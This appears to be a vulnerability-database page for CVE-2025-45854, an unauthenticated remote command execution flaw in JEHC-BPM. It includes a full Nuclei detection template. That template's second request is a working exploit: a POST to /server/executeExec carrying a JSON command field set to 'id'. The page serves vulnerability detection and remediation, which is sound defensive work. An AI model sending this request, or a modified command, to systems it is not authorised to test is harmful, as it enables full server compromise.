Browse / CVEs / CVE-2025-45854
CVE-2025-45854· jehc-bpm· CWE-862, CWE-434
JEHC-BPM - Remote Code Execute
A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM <= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.
Impact
Unauthenticated attackers can execute arbitrary operating system commands through the /server/executeExec endpoint due to missing authorization checks, achieving complete server compromise.
Fix
Upgrade JEHC-BPM to a version later than 2.0.1 that implements proper authorization checks on the executeExec endpoint.
How to confirm it
Send: GET /
Positive when: contains "JEHC" or "XSHI"
Send: POST /server/executeExec
Positive when: matches /uid=[0-9]+.*gid=[0-9]+.*/ AND status 200Run it with nuclei: nuclei -id CVE-2025-45854 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2025-45854
info:
name: JEHC-BPM - Remote Code Execute
author: ritikchaddha
severity: critical
description: |
A Remote Command Execution vulnerability in the component /server/executeExec of JEHC-BPM <= v2.0.1 allows attackers to execute arbitrary code. The vulnerability exists due to insufficient authorization checks in the executeExec endpoint which allows direct command execution.
impact: |
Unauthenticated attackers can execute arbitrary operating system commands through the /server/executeExec endpoint due to missing authorization checks, achieving complete server compromise.
remediation: |
Upgrade JEHC-BPM to a version later than 2.0.1 that implements proper authorization checks on the executeExec endpoint.
reference:
- https://gist.github.com/Cafe-Tea/bc14b38f4bfd951de2979a24c3358460
- https://nvd.nist.gov/vuln/detail/CVE-2025-45854
classification:
epss-score: 0.03213
epss-percentile: 0.88296
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2025-45854
cwe-id: CWE-862,CWE-434
metadata:
max-request: 1
product: jehc-bpm
fofa-query: body="JEHC"
tags: cve,cve2025,jehc-bpm,rce,vuln
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
redirects: true
matchers:
- type: word
words:
- "JEHC"
- "XSHI"
case-insensitive: true
internal: true
- raw:
- |
POST /server/executeExec HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
{
"actuator": {
"clientIp": "127.0.0.1",
"port": 8082,
"applicationName": "testApp",
"env": "prod",
"uploadTime": 1704523200000,
"hasPrefixApplicationName": false,
"clientHttpPrefix": "http"
},
"execParams": {
"command": "id"
}
}
matchers-condition: and
matchers:
- type: regex
part: body
regex:
- "uid=[0-9]+.*gid=[0-9]+.*"
- type: status
status:
- 200References
- https://gist.github.com/Cafe-Tea/bc14b38f4bfd951de2979a24c3358460
- https://nvd.nist.gov/vuln/detail/CVE-2025-45854
Use this check only on systems you are authorised to test. Where the data comes from